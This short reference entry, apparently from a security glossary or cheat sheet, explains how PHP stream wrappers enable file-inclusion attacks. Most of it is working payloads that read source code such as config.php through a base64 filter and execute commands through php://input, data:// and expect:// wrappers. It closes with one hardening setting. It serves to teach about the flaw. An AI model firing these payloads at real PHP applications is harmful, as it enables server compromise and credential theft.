PHP stream protocols (php://, data://, etc.) that extend file handling. When used with user input, they enable file reading, code execution, or SSRF.
PHP Wrappers (Stream Wrappers) are protocols that extend PHP's file handling capabilities. When used with user input in file operations, they can enable arbitrary file reading, code execution, or server-side request forgery.
file:// - Local filesystem access
php:// - PHP I/O streams
data:// - Data as URL
http:// - HTTP requests
ftp:// - FTP access
zip:// - Compressed file access
phar:// - PHP Archive access
expect:// - Process interaction (if enabled)
# Read and base64 encode PHP source
?page=php://filter/convert.base64-encode/resource=config.php
# Output: PD9waHAKJGRiX3Bhc3N3b3JkID0gInNlY3JldCI7Cj8+
# Decode to get: <?php $db_password = "secret"; ?>
# If include($_GET['page']) vulnerable:
GET ?page=php://input
POST body: <?php system('whoami'); ?>
# Executes the POST content as PHP
?page=data://text/plain,<?php system('id'); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
# If expect wrapper enabled:
?page=expect://whoami
allow_url_include = Off